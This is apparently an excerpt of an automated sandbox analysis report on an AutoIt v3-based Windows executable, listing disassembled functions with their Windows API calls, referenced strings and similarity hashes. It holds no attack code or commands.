Function 001D09D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,001D03EE), ref: 001D09DA

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7a43e604b5a04612e6e7023e665d1cd7bcd8b31bb061619741fbccead62e9766
Instruction ID: 93b80bd4de672b8d4c5f833dc4ec2f51b7c5d8a9db2bfc57b51b1d79b920b70c
Opcode Fuzzy Hash: 7a43e604b5a04612e6e7023e665d1cd7bcd8b31bb061619741fbccead62e9766
Instruction Fuzzy Hash:

Function 00232ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00232B30
DeleteObject.GDI32(00000000), ref: 00232B43
DestroyWindow.USER32 ref: 00232B52
GetDesktopWindow.USER32 ref: 00232B6D
GetWindowRect.USER32(00000000), ref: 00232B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00232CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00232CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00232CF8
GetClientRect.USER32(00000000,?), ref: 00232D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00232D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00232D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00232D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00232D80
GlobalLock.KERNEL32(00000000), ref: 00232D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00232D98
GlobalUnlock.KERNEL32(00000000), ref: 00232DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00232DA8
GlobalFree.KERNEL32(00000000), ref: 00232DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00232DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,0024FC38,00000000), ref: 00232DDB
GlobalFree.KERNEL32(00000000), ref: 00232DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00232E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00232E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00232E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0023303F

Strings

static, xrefs: 00232D3A, 00232E91
, xrefs: 00232FC5
AutoIt v3, xrefs: 00232CF2
DISPLAY, xrefs: 00232EA2

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: d97cdffd67df94f96d1b57bc0e3c4af9d86c5679659039af4e2c56788cb0ec1c
Instruction ID: 31345695f07b71b40f7baf419402a0756674378117cab80f55dd78caadcf8854
Opcode Fuzzy Hash: d97cdffd67df94f96d1b57bc0e3c4af9d86c5679659039af4e2c56788cb0ec1c
Instruction Fuzzy Hash: 00027BB5611205EFDB14DFA8DC8DEAE7BB9EF49310F108558F915AB2A1CB70AD01CB60

Function 002470D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0024712F
GetSysColorBrush.USER32(0000000F), ref: 00247160
GetSysColor.USER32(0000000F), ref: 0024716C
SetBkColor.GDI32(?,000000FF), ref: 00247186
SelectObject.GDI32(?,?), ref: 00247195
InflateRect.USER32(?,000000FF,000000FF), ref: 002471C0
GetSysColor.USER32(00000010), ref: 002471C8
CreateSolidBrush.GDI32(00000000), ref: 002471CF
FrameRect.USER32(?,?,00000000), ref: 002471DE
DeleteObject.GDI32(00000000), ref: 002471E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00247230
FillRect.USER32(?,?,?), ref: 00247262
GetWindowLongW.USER32(?,000000F0), ref: 00247284

Part of subcall function 002473E8: GetSysColor.USER32(00000012), ref: 00247421
Part of subcall function 002473E8: SetTextColor.GDI32(?,?), ref: 00247425
Part of subcall function 002473E8: GetSysColorBrush.USER32(0000000F), ref: 0024743B
Part of subcall function 002473E8: GetSysColor.USER32(0000000F), ref: 00247446
Part of subcall function 002473E8: GetSysColor.USER32(00000011), ref: 00247463
Part of subcall function 002473E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00247471
Part of subcall function 002473E8: SelectObject.GDI32(?,00000000), ref: 00247482
Part of subcall function 002473E8: SetBkColor.GDI32(?,00000000), ref: 0024748B
Part of subcall function 002473E8: SelectObject.GDI32(?,?), ref: 00247498
Part of subcall function 002473E8: InflateRect.USER32(?,000000FF,000000FF), ref: 002474B7
Part of subcall function 002473E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 002474CE
Part of subcall function 002473E8: GetWindowLongW.USER32(00000000,000000F0), ref: 002474DB

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 157d57d5672a1addb7afae6e505a0ce65e84e0d2b6567c3143a2610688165f9f
Instruction ID: 7def95dcbf423aacb879cbd135a8b816a2266d3f8197f66a02db37f33e4eae0e
Opcode Fuzzy Hash: 157d57d5672a1addb7afae6e505a0ce65e84e0d2b6567c3143a2610688165f9f
Instruction Fuzzy Hash: 96A1C176019302AFD755DF64EC4CE5B7BA9FB8A320F200A19F966A61E1D770E804CF51

Function 001C8D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 001C8E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00206AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00206AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00206F43

Part of subcall function 001C8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,001C8BE8,?,00000000,?,?,?,?,001C8BBA,00000000,?), ref: 001C8FC5

SendMessageW.USER32(?,00001053), ref: 00206F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00206F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00206FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00206FB7

Strings

0, xrefs: 00206DCF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: ce0a78f8d517e2a5a8c753cee482bcd0ade232c92fee3ba88e41582181d76983
Instruction ID: 78f6129fd8c85484ad84db5a4d0722c1efb38b78740b08aae6d795761c6bb1fe
Opcode Fuzzy Hash: ce0a78f8d517e2a5a8c753cee482bcd0ade232c92fee3ba88e41582181d76983
Instruction Fuzzy Hash: 85128B342112129FD725DF18D88CFA9B7E5FB55300F14446DE4959B6A2CB31E872CB91

Function 00232711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0023273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0023286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 002328A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 002328B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00232900
GetClientRect.USER32(00000000,?), ref: 0023290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00232955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00232964
GetStockObject.GDI32(00000011), ref: 00232974
SelectObject.GDI32(00000000,00000000), ref: 00232978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00232988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00232991
DeleteDC.GDI32(00000000), ref: 0023299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 002329C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 002329DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00232A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00232A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00232A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00232A77
GetStockObject.GDI32(00000011), ref: 00232A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00232A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00232A97

Strings

static, xrefs: 0023294F, 00232A71
msctls_progress32, xrefs: 00232A13
AutoIt v3, xrefs: 002328F8
DISPLAY, xrefs: 0023295A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 9c6eb3456334664fc3fc9a817437b18f30cadc281b05037dc8d3b9fd7f76162d
Instruction ID: 09bbf9ff278789bd029cef1896f36d7c4ce0493086846d1a6ce1caea1f011529
Opcode Fuzzy Hash: 9c6eb3456334664fc3fc9a817437b18f30cadc281b05037dc8d3b9fd7f76162d
Instruction Fuzzy Hash: 14B18DB5A11205AFEB14CF68DC89FAEBBA9EF49710F108554F915E72D0D770AD10CBA0

Function 00224ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00224AED
GetDriveTypeW.KERNEL32(?,0024CB68,?,\\.\,0024CC08), ref: 00224BCA
SetErrorMode.KERNEL32(00000000,0024CB68,?,\\.\,0024CC08), ref: 00224D36

Strings

Network, xrefs: 00224C02
Unknown, xrefs: 00224BED, 00224C83
ATA, xrefs: 00224C98
USB, xrefs: 00224CB4
PhysicalDrive, xrefs: 00224B76
iSCSI, xrefs: 00224CC2
\\.\, xrefs: 00224B3F
SAS, xrefs: 00224CC9
Fibre, xrefs: 00224CAD
Virtual, xrefs: 00224CE5
CDROM, xrefs: 00224BFB
SSD, xrefs: 00224C4A
ATAPI, xrefs: 00224C91
RAMDisk, xrefs: 00224BF4
SATA, xrefs: 00224CD0
SCSI, xrefs: 00224C8A
SSA, xrefs: 00224CA6
Fixed, xrefs: 00224C09
FileBackedVirtual, xrefs: 00224CEC
RAID, xrefs: 00224CBB
Removable, xrefs: 00224C10, 00224C15
1394, xrefs: 00224C9F
MMC, xrefs: 00224CDE

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 0274146051c978f02bf4ab68afa144ff2dcfc197f82adad935f34bfddc475d71
Instruction ID: 78a47ebf4a0a72566d02e02ee9af7d452ef26247b735143fd9490129711a07ec
Opcode Fuzzy Hash: 0274146051c978f02bf4ab68afa144ff2dcfc197f82adad935f34bfddc475d71
Instruction Fuzzy Hash: 3A610630631516FBCB15FFA8EA89DAC77A0AB15304B208117F80AAB651DFB1DD71DB41

Function 002473E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00247421
SetTextColor.GDI32(?,?), ref: 00247425
GetSysColorBrush.USER32(0000000F), ref: 0024743B
GetSysColor.USER32(0000000F), ref: 00247446
CreateSolidBrush.GDI32(?), ref: 0024744B
GetSysColor.USER32(00000011), ref: 00247463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00247471
SelectObject.GDI32(?,00000000), ref: 00247482
SetBkColor.GDI32(?,00000000), ref: 0024748B
SelectObject.GDI32(?,?), ref: 00247498
InflateRect.USER32(?,000000FF,000000FF), ref: 002474B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 002474CE
GetWindowLongW.USER32(00000000,000000F0), ref: 002474DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0024752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00247554
InflateRect.USER32(?,000000FD,000000FD), ref: 00247572
DrawFocusRect.USER32(?,?), ref: 0024757D
GetSysColor.USER32(00000011), ref: 0024758E
SetTextColor.GDI32(?,00000000), ref: 00247596
DrawTextW.USER32(?,002470F5,000000FF,?,00000000), ref: 002475A8
SelectObject.GDI32(?,?), ref: 002475BF
DeleteObject.GDI32(?), ref: 002475CA
SelectObject.GDI32(?,?), ref: 002475D0
DeleteObject.GDI32(?), ref: 002475D5
SetTextColor.GDI32(?,?), ref: 002475DB
SetBkColor.GDI32(?,?), ref: 002475E5

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 872b2fbddb8b069fc720678789f6f245cb45559072ab858e82e5786a73dfface
Instruction ID: c95b054ad0edc27fc79f1f8ded5dbd940df40a0e2b1e8e2dcdecda9992fd4293
Opcode Fuzzy Hash: 872b2fbddb8b069fc720678789f6f245cb45559072ab858e82e5786a73dfface
Instruction Fuzzy Hash: 98618D76901218AFDF059FA8EC48EEEBFB9EB09320F214115F915BB2A1D7709950CF90

Function 00240FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00241128
GetDesktopWindow.USER32 ref: 0024113D
GetWindowRect.USER32(00000000), ref: 00241144
GetWindowLongW.USER32(?,000000F0), ref: 00241199
DestroyWindow.USER32(?), ref: 002411B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 002411ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0024120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0024121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00241232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00241245
IsWindowVisible.USER32(00000000), ref: 002412A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 002412BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 002412D0
GetWindowRect.USER32(00000000,?), ref: 002412E8
MonitorFromPoint.USER32(?,?,00000002), ref: 0024130E
GetMonitorInfoW.USER32(00000000,?), ref: 00241328
CopyRect.USER32(?,?), ref: 0024133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 002413AA

Strings

(, xrefs: 0024131B
tooltips_class32, xrefs: 002411E6
0, xrefs: 002410D3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: f0e6c0c226c742819b40a593ed9dc00ba6e9d012b42ea8646a7aaea0aa0b5f02
Instruction ID: 637eb4d2c7dfd4ce507133a0e8b6a44c462ddddde7990ff51f3b13c8bf78590f
Opcode Fuzzy Hash: f0e6c0c226c742819b40a593ed9dc00ba6e9d012b42ea8646a7aaea0aa0b5f02
Instruction Fuzzy Hash: 17B19F71618341AFD714DF64D888BAEBBE4FF85350F00891CF9999B261C771E8A4CB92

Function 001C8891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 001C8968
GetSystemMetrics.USER32(00000007), ref: 001C8970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 001C899B
GetSystemMetrics.USER32(00000008), ref: 001C89A3
GetSystemMetrics.USER32(00000004), ref: 001C89C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 001C89E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 001C89F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 001C8A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 001C8A3C
GetClientRect.USER32(00000000,000000FF), ref: 001C8A5A
GetStockObject.GDI32(00000011), ref: 001C8A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 001C8A81

Part of subcall function 001C912D: GetCursorPos.USER32(?), ref: 001C9141
Part of subcall function 001C912D: ScreenToClient.USER32(00000000,?), ref: 001C915E
Part of subcall function 001C912D: GetAsyncKeyState.USER32(00000001), ref: 001C9183
Part of subcall function 001C912D: GetAsyncKeyState.USER32(00000002), ref: 001C919D

SetTimer.USER32(00000000,00000000,00000028,001C90FC), ref: 001C8AA8

Strings

AutoIt v3 GUI, xrefs: 001C8A20

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 3b9414491ed7c5b5a8154f3ab4f391fa0cbe84496def05e9743341195564ae2f
Instruction ID: cc1b2412b02903e61bf42b64b6435610a61a8e82f3dd62e2246bd14777c7852c
Opcode Fuzzy Hash: 3b9414491ed7c5b5a8154f3ab4f391fa0cbe84496def05e9743341195564ae2f
Instruction Fuzzy Hash: 9AB18E35A0120AAFDB14DFA8DC89FAE7BB5FB48314F114219FA15A72D0DB34E861CB51

Function 00210D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002110F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00211114
Part of subcall function 002110F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00210B9B,?,?,?), ref: 00211120
Part of subcall function 002110F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00210B9B,?,?,?), ref: 0021112F
Part of subcall function 002110F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00210B9B,?,?,?), ref: 00211136
Part of subcall function 002110F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0021114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00210DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00210E29
GetLengthSid.ADVAPI32(?), ref: 00210E40
GetAce.ADVAPI32(?,00000000,?), ref: 00210E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00210E96
GetLengthSid.ADVAPI32(?), ref: 00210EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00210EB5
HeapAlloc.KERNEL32(00000000), ref: 00210EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00210EDD
CopySid.ADVAPI32(00000000), ref: 00210EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00210F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00210F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00210F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00210F6E
HeapFree.KERNEL32(00000000), ref: 00210F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00210F7E
HeapFree.KERNEL32(00000000), ref: 00210F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00210F8E
HeapFree.KERNEL32(00000000), ref: 00210F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00210FA1
HeapFree.KERNEL32(00000000), ref: 00210FA8

Part of subcall function 00211193: GetProcessHeap.KERNEL32(00000008,00210BB1,?,00000000,?,00210BB1,?), ref: 002111A1
Part of subcall function 00211193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00210BB1,?), ref: 002111A8
Part of subcall function 00211193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00210BB1,?), ref: 002111B7

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: a1208c8ab7df2cf7063b1084284dcc06e4d9bff7fbfcecda406b9feef5bbd131
Instruction ID: 453f19c41594488aa5121c04f109859ac183fa97beeb52fc56abc8ebcaad47dc
Opcode Fuzzy Hash: a1208c8ab7df2cf7063b1084284dcc06e4d9bff7fbfcecda406b9feef5bbd131
Instruction Fuzzy Hash: CE719E7190120AEBDF209FA5EC89FEEBBB8BF15300F144125F918E6191DB709996CB60

Function 0023C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0023C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,0024CC08,00000000,?,00000000,?,?), ref: 0023C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0023C5A4
_wcslen.LIBCMT ref: 0023C5F4
_wcslen.LIBCMT ref: 0023C66F
